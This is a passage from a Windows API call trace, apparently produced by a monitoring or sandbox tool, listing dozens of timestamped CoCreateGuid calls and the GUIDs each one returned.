Data3=0x490f, Data4=([0]=0xa8, [1]=0x68, [2]=0xb2, [3]=0x5b, [4]=0x74, [5]=0x98, [6]=0xb1, [7]=0x42))) returned 0x0 [0184.560] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7598b0f5, Data2=0x2e09, Data3=0x4e70, Data4=([0]=0xbc, [1]=0x6f, [2]=0x74, [3]=0x59, [4]=0x30, [5]=0x70, [6]=0x95, [7]=0x72))) returned 0x0 [0184.562] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5dd2b0f8, Data2=0x90ab, Data3=0x4321, Data4=([0]=0xa0, [1]=0x9b, [2]=0xf6, [3]=0x43, [4]=0xd6, [5]=0x18, [6]=0x32, [7]=0x8b))) returned 0x0 [0184.564] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x798e28c4, Data2=0xfbb3, Data3=0x492e, Data4=([0]=0xb1, [1]=0xde, [2]=0x4e, [3]=0x4e, [4]=0x9d, [5]=0x42, [6]=0xc8, [7]=0xcf))) returned 0x0 [0184.565] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbbcd55ca, Data2=0x49a, Data3=0x41f8, Data4=([0]=0x91, [1]=0xda, [2]=0x87, [3]=0x9, [4]=0xb6, [5]=0x4c, [6]=0x70, [7]=0x51))) returned 0x0 [0184.566] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7de9add5, Data2=0x7bc8, Data3=0x4496, Data4=([0]=0x98, [1]=0x7d, [2]=0xd8, [3]=0xe6, [4]=0xe8, [5]=0x24, [6]=0xdd, [7]=0x83))) returned 0x0 [0184.569] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa9006c53, Data2=0x9432, Data3=0x467e, Data4=([0]=0x81, [1]=0xaa, [2]=0x2b, [3]=0x49, [4]=0x8e, [5]=0xfc, [6]=0x67, [7]=0xc6))) returned 0x0 [0184.570] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x786e3b89, Data2=0xc23a, Data3=0x43fc, Data4=([0]=0xaf, [1]=0xec, [2]=0x0, [3]=0x9, [4]=0x6e, [5]=0xf9, [6]=0x9f, [7]=0xe))) returned 0x0 [0184.573] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3a06e9d6, Data2=0x9c4f, Data3=0x4df0, Data4=([0]=0x93, [1]=0xc8, [2]=0x3f, [3]=0xe2, [4]=0x6d, [5]=0xd7, [6]=0x42, [7]=0x20))) returned 0x0 [0184.574] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbe2a1367, Data2=0xe00c, Data3=0x4dd4, Data4=([0]=0x85, [1]=0xfb, [2]=0x5c, [3]=0x66, [4]=0x57, [5]=0xa2, [6]=0xbd, [7]=0xc8))) returned 0x0 [0184.576] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf69c0c95, Data2=0x9b30, Data3=0x46d2, Data4=([0]=0x87, [1]=0x32, [2]=0xfb, [3]=0x59, [4]=0x4a, [5]=0x5b, [6]=0x5b, [7]=0x30))) returned 0x0 [0184.577] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8ad3ea30, Data2=0x97a0, Data3=0x49b1, Data4=([0]=0xae, [1]=0x40, [2]=0xad, [3]=0x33, [4]=0x55, [5]=0x68, [6]=0x9f, [7]=0xfd))) returned 0x0 [0184.579] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3345ba6d, Data2=0x2d24, Data3=0x46be, Data4=([0]=0xbb, [1]=0x7b, [2]=0x2d, [3]=0x10, [4]=0x5, [5]=0xc9, [6]=0x61, [7]=0x1d))) returned 0x0 [0184.581] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x9d418fa9, Data2=0x9f62, Data3=0x4c3b, Data4=([0]=0xb6, [1]=0xb2, [2]=0x20, [3]=0xef, [4]=0x56, [5]=0x1f, [6]=0x7b, [7]=0x4))) returned 0x0 [0184.585] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x950632e0, Data2=0xfde6, Data3=0x4569, Data4=([0]=0x8d, [1]=0x41, [2]=0x99, [3]=0xeb, [4]=0x98, [5]=0x0, [6]=0x95, [7]=0x84))) returned 0x0 [0184.586] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc86d98a4, Data2=0xed63, Data3=0x410a, Data4=([0]=0xa0, [1]=0x3f, [2]=0x82, [3]=0x99, [4]=0x0, [5]=0x5f, [6]=0x50, [7]=0x51))) returned 0x0 [0184.587] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc856fb0f, Data2=0x5285, Data3=0x4de2, Data4=([0]=0x9c, [1]=0x11, [2]=0xd5, [3]=0xa2, [4]=0x40, [5]=0xb5, [6]=0xd5, [7]=0x7d))) returned 0x0 [0184.588] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x432d077f, Data2=0xc384, Data3=0x41ad, Data4=([0]=0xa2, [1]=0x51, [2]=0x2e, [3]=0x92, [4]=0x1e, [5]=0x9b, [6]=0x23, [7]=0xd2))) returned 0x0 [0184.589] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe90b75ec, Data2=0x1b8c, Data3=0x4af8, Data4=([0]=0x82, [1]=0x6a, [2]=0x5, [3]=0x88, [4]=0x9e, [5]=0x7e, [6]=0x91, [7]=0x93))) returned 0x0 [0184.590] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa0d9e651, Data2=0x8afe, Data3=0x4f75, Data4=([0]=0x99, [1]=0xf2, [2]=0xac, [3]=0x67, [4]=0x2c, [5]=0x44, [6]=0x39, [7]=0x40))) returned 0x0 [0184.591] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2fe130d7, Data2=0x4342, Data3=0x4085, Data4=([0]=0x97, [1]=0x37, [2]=0x1c, [3]=0x83, [4]=0x58, [5]=0xc8, [6]=0x55, [7]=0xfa))) returned 0x0 [0184.592] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3b768387, Data2=0xf328, Data3=0x4e3c, Data4=([0]=0xa1, [1]=0x7c, [2]=0xf9, [3]=0xc4, [4]=0x29, [5]=0x25, [6]=0x46, [7]=0xf2))) returned 0x0 [0184.593] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x6812ed9f, Data2=0x547e, Data3=0x4cba, Data4=([0]=0xb7, [1]=0x9b, [2]=0xbb, [3]=0xf8, [4]=0xb6, [5]=0xaa, [6]=0x51, [7]=0xea))) returned 0x0 [0184.594] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2fabbaf9, Data2=0x9261, Data3=0x4154, Data4=([0]=0x91, [1]=0xf4, [2]=0x53, [3]=0xd1, [4]=0xfe, [5]=0xb4, [6]=0x95, [7]=0x87))) returned 0x0 [0184.595] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x12b6a586, Data2=0xd2ed, Data3=0x436f, Data4=([0]=0xba, [1]=0x7e, [2]=0x76, [3]=0x5b, [4]=0x7, [5]=0xe8, [6]=0x56, [7]=0x6f))) returned 0x0 [0184.596] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xd2340ea8, Data2=0xb5f2, Data3=0x4081, Data4=([0]=0x8c, [1]=0x31, [2]=0x5a, [3]=0xe6, [4]=0x19, [5]=0xce, [6]=0x7f, [7]=0x8))) returned 0x0 [0184.597] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7b3a7389, Data2=0xa760, Data3=0x4dcd, Data4=([0]=0x9c, [1]=0xc, [2]=0xab, [3]=0x10, [4]=0x1, [5]=0x7a, [6]=0x62, [7]=0xc7))) returned 0x0 [0184.598] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc2e947cf, Data2=0x4ff9, Data3=0x4abc, Data4=([0]=0x8f, [1]=0xb1, [2]=0x40, [3]=0xe9, [4]=0x8d, [5]=0xec, [6]=0xfb, [7]=0x9c))) returned 0x0 [0184.599] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1fbff41a, Data2=0x7d92, Data3=0x41aa, Data4=([0]=0x96, [1]=0xf, [2]=0x81, [3]=0x16, [4]=0x5d, [5]=0xab, [6]=0x27, [7]=0xd6))) returned 0x0 [0184.743] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf6f247a6, Data2=0xc2b0, Data3=0x4cf2, Data4=([0]=0x8b, [1]=0x65, [2]=0x7f, [3]=0xd, [4]=0xc5, [5]=0xd2, [6]=0x9b, [7]=0x2c))) returned 0x0 [0184.744] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe6bfc459, Data2=0x2fe3, Data3=0x4dc8, Data4=([0]=0x9b, [1]=0xc, [2]=0x93, [3]=0x3e, [4]=0xe4, [5]=0x67, [6]=0xc7, [7]=0x19))) returned 0x0 [0184.745] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf5de791c, Data2=0x15ef, Data3=0x4196, Data4=([0]=0x8a, [1]=0x6b, [2]=0xd5, [3]=0x8f, [4]=0xac, [5]=0xc6, [6]=0xf1, [7]=0x5b))) returned 0x0 [0184.746] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc2f6305c, Data2=0x1d0b, Data3=0x4dde, Data4=([0]=0xbc, [1]=0x8, [2]=0x77, [3]=0x9, [4]=0x4e, [5]=0x18, [6]=0x52, [7]=0xcb))) returned 0x0 [0184.747] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3d20f692, Data2=0xd0dd, Data3=0x41bd, Data4=([0]=0xb9, [1]=0x1e, [2]=0xee, [3]=0x68, [4]=0x20, [5]=0x18, [6]=0x96, [7]=0xd9))) returned 0x0 [0184.748] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7b603b97, Data2=0xe55d, Data3=0x44d5, Data4=([0]=0xa6, [1]=0x6b, [2]=0x85, [3]=0xf7, [4]=0xde, [5]=0xd0, [6]=0x3, [7]=0x74))) returned 0x0 [0184.748] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xabe37ab8, Data2=0x19c4, Data3=0x42dd, Data4=([0]=0x96, [1]=0xec, [2]=0x79, [3]=0xa, [4]=0x19, [5]=0x40, [6]=0x50, [7]=0x47))) returned 0x0 [0184.749] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x24a54995, Data2=0x1fb1, Data3=0x4360, Data4=([0]=0x99, [1]=0xa1, [2]=0xb7, [3]=0xc, [4]=0x50, [5]=0xc, [6]=0xea, [7]=0x19))) returned 0x0 [0184.749] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe8ce50ab, Data2=0x5610, Data3=0x4583, Data4=([0]=0x9b, [1]=0x23, [2]=0xa4, [3]=0xa0, [4]=0xda, [5]=0x33, [6]=0x9a, [7]=0x2f))) returned 0x0 [0184.750] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x55267c81, Data2=0xc7e9, Data3=0x4a1a, Data4=([0]=0xaa, [1]=0x80, [2]=0x5a, [3]=0x19, [4]=0x6a, [5]=0x29, [6]=0x19, [7]=0xfa))) returned 0x0 [0184.751] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe494a2ae, Data2=0x8251, Data3=0x41f6, Data4=([0]=0xb8, [1]=0x68, [2]=0xfa, [3]=0x5b, [4]=0xde, [5]=0x51, [6]=0x24, [7]=0xb6))) returned 0x0 [0184.751] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1301b8f5, Data2=0x3aae, Data3=0x442f, Data4=([0]=0xa4, [1]=0x5d, [2]=0x21, [3]=0x5f, [4]=0x20, [5]=0xa7, [6]=0xd6, [7]=0xc4))) returned 0x0 [0184.752] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1f89dd1a, Data2=0x6907, Data3=0x457c, Data4=([0]=0x96, [1]=0xf2, [2]=0x5f, [3]=0x9c, [4]=0xe3, [5]=0xa4, [6]=0xad, [7]=0x7e))) returned 0x0 [0184.752] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc799f6f2, Data2=0x47c8, Data3=0x4669, Data4=([0]=0x84, [1]=0x59, [2]=0x52, [3]=0x53, [4]=0xc9, [5]=0xd8, [6]=0x56, [7]=0x7a))) returned 0x0 [0184.753] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xdbce254, Data2=0x2e76, Data3=0x467d, Data4=([0]=0x8f, [1]=0x7d, [2]=0xfe, [3]=0xe, [4]=0x7f, [5]=0xf8, [6]=0x31, [7]=0x6a))) returned 0x0 [0184.754] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7bcd83ae, Data2=0xc72f, Data3=0x4124, Data4=([0]=0xbd, [1]=0x10, [2]=0x3f, [3]=0x6a, [4]=0xa2, [5]=0x3, [6]=0xd4, [7]=0xca))) returned 0x0 [0184.754] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8727c1b6, Data2=0x4cac, Data3=0x4e10, Data4=([0]=0x81, [1]=0xb8, [2]=0x65, [3]=0x9c, [4]=0x7f, [5]=0xef, [6]=0x14, [7]=0x7a))) returned 0x0 [0184.754] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5e7d8ad5, Data2=0xa261, Data3=0x4f06, Data4=([0]=0x94, [1]=0x18, [2]=0x61, [3]=0x72, [4]=0x6, [5]=0xb1, [6]=0x8d, [7]=0x99))) returned 0x0 [0184.755] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x686a530c, Data2=0x36e3, Data3=0x49bf, Data4=([0]=0x9b, [1]=0x8c, [2]=0xaa, [3]=0xd0, [4]=0x5b, [5]=0x24, [6]=0x1d, [7]=0x99))) returned 0x0 [0184.909] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1d618bd8, Data2=0x7e0, Data3=0x4c64, Data4=([0]=0x9c, [1]=0x4c, [2]=0xf1, [3]=0xab, [4]=0x6e, [5]=0x84, [6]=0x73, [7]=0x9d))) returned 0x0 [0184.911] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x19baa31c, Data2=0xefd7, Data3=0x4e14, Data4=([0]=0xa8, [1]=0xb4, [2]=0x66, [3]=0x41, [4]=0x67, [5]=0x63, [6]=0x13, [7]=0xd8))) returned 0x0 [0185.011] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xfc9162f8, Data2=0xe9ed, Data3=0x45c9, Data4=([0]=0x93, [1]=0x69, [2]=0x4a, [3]=0x8a, [4]=0x1a, [5]=0x1c, [6]=0x2c, [7]=0x18))) returned 0x0 [0185.014] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7a060613, Data2=0x863c, Data3=0x4679, Data4=([0]=0xa6, [1]=0x6b, [2]=0xd5, [3]=0xbf, [4]=0x13, [5]=0xd7, [6]=0xfa, [7]=0x14))) returned 0x0 [0185.017] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4da4b0d5, Data2=0xc96d, Data3=0x432f, Data4=([0]=0xb7, [1]=0x9, [2]=0xf3, [3]=0x8b, [4]=0xf0, [5]=0xd8, [6]=0x4d, [7]=0x60))) returned 0x0 [0185.023] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x625f84c1, Data2=0xe2a9, Data3=0x4d56, Data4=([0]=0xae, [1]=0x1c, [2]=0x9c, [3]=0x57, [4]=0x6d, [5]=0xad, [6]=0xd7, [7]=0x85))) returned 0x0 [0185.028] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x31e72cf5, Data2=0xc3e6, Data3=0x4b79, Data4=([0]=0xa0, [1]=0xbc, [2]=0x2e, [3]=0x27, [4]=0xbf, [5]=0xf1, [6]=0xa5, [7]=0x2c))) returned 0x0 [0185.031] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe0f8e622, Data2=0x94d2, Data3=0x4720, Data4=([0]=0x8f, [1]=0xa6, [2]=0xba, [3]=0x32, [4]=0x99, [5]=0x6e, [6]=0xed, [7]=0xe1))) returned 0x0 [0185.034] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xd231a2e3, Data2=0xd2dd, Data3=0x4b2d, Data4=([0]=0xbf, [1]=0xd, [2]=0x36, [3]=0xc3, [4]=0x1f, [5]=0x52, [6]=0x75, [7]=0x1))) returned 0x0 [0185.036] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc59e6a2b, Data2=0x6083, Data3=0x4fc8, Data4=([0]=0x91, [1]=0x50, [2]=0xd, [3]=0xd1, [4]=0x69, [5]=0xcc, [6]=0xa0, [7]=0xa))) returned 0x0 [0185.039] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x535d5a64, Data2=0x3f65, Data3=0x450f, Data4=([0]=0xa3, [1]=0x69, [2]=0x91, [3]=0xe0, [4]=0x2d, [5]=0x2f, [6]=0x8, [7]=0x53))) returned 0x0 [0185.041] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x67fef327, Data2=0xa1cd, Data3=0x42dd, Data4=([0]=0xac, [1]=0x80, [2]=0xf9, [3]=0x79, [4]=0xf9, [5]=0xce, [6]=0x1c, [7]=0xb6))) returned 0x0 [0185.044] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xaae1b2ce, Data2=0xbdad, Data3=0x4c54, Data4=([0]=0xb8, [1]=0xdf, [2]=0xc9, [3]=0xc4, [4]=0xb2, [5]=0xca, [6]=0xad, [7]=0xd1))) returned 0x0 [0185.046] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5a0b1b57, Data2=0x3664, Data3=0x40b7, Data4=([0]=0xaa, [1]=0x88, [2]=0x56, [3]=0x14, [4]=0x51, [5]=0xe8, [6]=0x7, [7]=0x21))) returned 0x0 [0185.047] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2ea43ebe, Data2=0x85ed, Data3=0x478c, Data4=([0]=0x8c, [1]=0x12, [2]=0xe7, [3]=0xc9, [4]=0xc, [5]=0x7b, [6]=0x11, [7]=0x2e))) returned 0x0 [0185.049] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3001b862, Data2=0x2a07, Data3=0x4bf9, Data4=([0]=0x95, [1]=0x3f, [2]=0x83, [3]=0xed, [4]=0x10, [5]=0xeb, [6]=0xfa, [7]=0x1b))) returned 0x0 [0185.050] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa340985f, Data2=0xa00, Data3=0x43d4, Data4=([0]=0xb1, [1]=0x91, [2]=0xec, [3]=0xdf, [4]=0xab, [5]=0xb6, [6]=0xaa, [7]=0x63))) returned 0x0 [0185.051] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x996ac60a, Data2=0xe923, Data3=0x47fb, Data4=([0]=0x99, [1]=0x67, [2]=0x22, [3]=0xee, [4]=0x0, [5]=0x43, [6]=0x56, [7]=0x40))) returned 0x0 [0185.052] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xef49ea8, Data2=0x648d, Data3=0x4371, Data4=([0]=0x84, [1]=0x32, [2]=0xc7, [3]=0xad, [4]=0x67, [5]=0x86, [6]=0x9a, [7]=0x6e))) returned 0x0 [0185.052] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xea767c08, Data2=0x681c, Data3=0x437b, Data4=([0]=0xae, [1]=0x37, [2]=0x2b, [3]=0xc1, [4]=0xd, [5]=0x9d, [6]=0x89, [7]=0x1a))) returned 0x0 [0185.148] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x12fd4e89, Data2=0xc719, Data3=0x48d7, Data4=([0]=0x9b, [1]=0x21, [2]=0x2b, [3]=0xf2, [4]=0x9c, [5]=0x82, [6]=0x2f, [7]=0x71))) returned 0x0 [0185.149] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x991c6b31, Data2=0x427d, Data3=0x479b, Data4=([0]=0x82, [1]=0xf0, [2]=0xee, [3]=0x3d, [4]=0x5c, [5]=0x5d, [6]=0x2, [7]=0x77))) returned 0x0 [0185.150] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x41e1b598, Data2=0xd8c9, Data3=0x4bda, Data4=([0]=0x92, [1]=0x1a, [2]=0x53, [3]=0xeb, [4]=0x66, [5]=0xec, [6]=0x8c, [7]=0x73))) returned 0x0 [0185.151] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x64983188, Data2=0xda54, Data3=0x434c, Data4=([0]=0x85, [1]=0xd7, [2]=0x19, [3]=0x61, [4]=0x57, [5]=0xd7, [6]=0x70, [7]=0xeb))) returned 0x0 [0185.152] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x6360d9db, Data2=0xa4b4, Data3=0x40f7, Data4=([0]=0xa3, [1]=0x60, [2]=0x1a, [3]=0xba, [4]=0xb1, [5]=0x17, [6]=0x2f, [7]=0x22))) returned 0x0 [0185.155] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xec9b0de5, Data2=0x8a1c, Data3=0x4097, Data4=([0]=0xb1, [1]=0x1, [2]=0x8e, [3]=0x49, [4]=0x7d, [5]=0xb8, [6]=0x93, [7]=0xbb))) returned 0x0 [0185.157] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x53fead93, Data2=0xc1af, Data3=0x455f, Data4=([0]=0x8b, [1]=0xb1, [2]=0x13, [3]=0xfc, [4]=0x8e, [5]=0x2e, [6]=0x18, [7]=0x66))) returned 0x0 [0185.159] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa6e40ab6, Data2=0xace2, Data3=0x4091, Data4=([0]=0xae, [1]=0xae, [2]=0x80, [3]=0x79, [4]=0x83, [5]=0xbc, [6]=0x7f, [7]=0x49))) returned 0x0 [0185.161] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2113e04c, Data2=0xdb62, Data3=0x44cf, Data4=([0]=0xaf, [1]=0x8d, [2]=0x83, [3]=0x88, [4]=0xab, [5]=0x42, [6]=0x8e, [7]=0x3b))) returned 0x0 [0185.175] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x28804149, Data2=0xfa31, Data3=0x447e, Data4=([0]=0x89, [1]=0x6b, [2]=0xaa, [3]=0x19, [4]=0xb0, [5]=0xd8, [6]=0xc4, [7]=0x35))) returned 0x0 [0185.176] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xcdf29321, Data2=0xc23f, Data3=0x4db6, Data4=([0]=0xb6, [1]=0x16, [2]=0x1c, [3]=0x6, [4]=0x5d, [5]=0x70, [6]=0xba, [7]=0x74))) returned 0x0 [0185.178] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x9247e9cc, Data2=0x1d82, Data3=0x4983, Data4=([0]=0x82, [1]=0x8b, [2]=0xe0, [3]=0x31, [4]=0x81, [5]=0x39, [6]=0x5c, [7]=0xb9))) returned 0x0 [0185.179] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe9a78f23, Data2=0xb5cc, Data3=0x4c95, Data4=([0]=0xb9, [1]=0xdc, [2]=0xd1, [3]=0x90, [4]=0x78, [5]=0x33, [6]=0xba, [7]=0x35))) returned 0x0 [0185.180] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5319015e, Data2=0x3cab, Data3=0x446a, Data4=([0]=0xbe, [1]=0xfe, [2]=0x6b, [3]=0x31, [4]=0xb0, [5]=0x67, [6]=0x7c, [7]=0x3c))) returned 0x0 [0185.181] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x61906ced, Data2=0xc90b, Data3=0x4231, Data4=([0]=0x9f, [1]=0x5e, [2]=0x38, [3]=0x85, [4]=0x9, [5]=0xb4, [6]=0x75, [7]=0x6a))) returned 0x0 [0185.182] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbafa93df, Data2=0x359e, Data3=0x493f, Data4=([0]=0xa0, [1]=0x45, [2]=0x4, [3]=0x31, [4]=0xfb, [5]=0x8b, [6]=0xa, [7]=0xa2))) returned 0x0 [0185.184] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x285b98e6, Data2=0x930b, Data3=0x41d5, Data4=([0]=0x8d, [1]=0x7d, [2]=0x95, [3]=0xb8, [4]=0xcb, [5]=0xf2, [6]=0x87, [7]=0x1c))) returned 0x0 [0185.186] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbca55a74, Data2=0x1b74, Data3=0x46db, Data4=([0]=0xb6, [1]=0xe0, [2]=0x9, [3]=0xb7, [4]=0x14, [5]=0x1d, [6]=0x26, [7]=0x62))) returned 0x0 [0185.187] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7574b84c, Data2=0x5461, Data3=0x42c4, Data4=([0]=0x9c, [1]=0x77, [2]=0x92, [3]=0x31, [4]=0x70, [5]=0xa, [6]=0xaa, [7]=0xf0))) returned 0x0 [0185.188] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb9f2ad3c, Data2=0x15e8, Data3=0x49cd, Data4=([0]=0xa3, [1]=0xc7, [2]=0x23, [3]=0x9c, [4]=0x11, [5]=0x1e, [6]=0xb8, [7]=0xca))) returned 0x0 [0185.192] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1fbff0f9, Data2=0x261, Data3=0x46df, Data4=([0]=0x85, [1]=0xbe, [2]=0x70, [3]=0x16, [4]=0x48, [5]=0xa1, [6]=0xa2, [7]=0x54))) returned 0x0 [0185.272] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7f43689d, Data2=0x7eb8, Data3=0x4d56, Data4=([0]=0x9d, [1]=0x93, [2]=0xdc, [3]=0x9c, [4]=0x3f, [5]=0xb4, [6]=0xd4, [7]=0x27))) returned 0x0 [0185.273] CoCreateGuid (in: 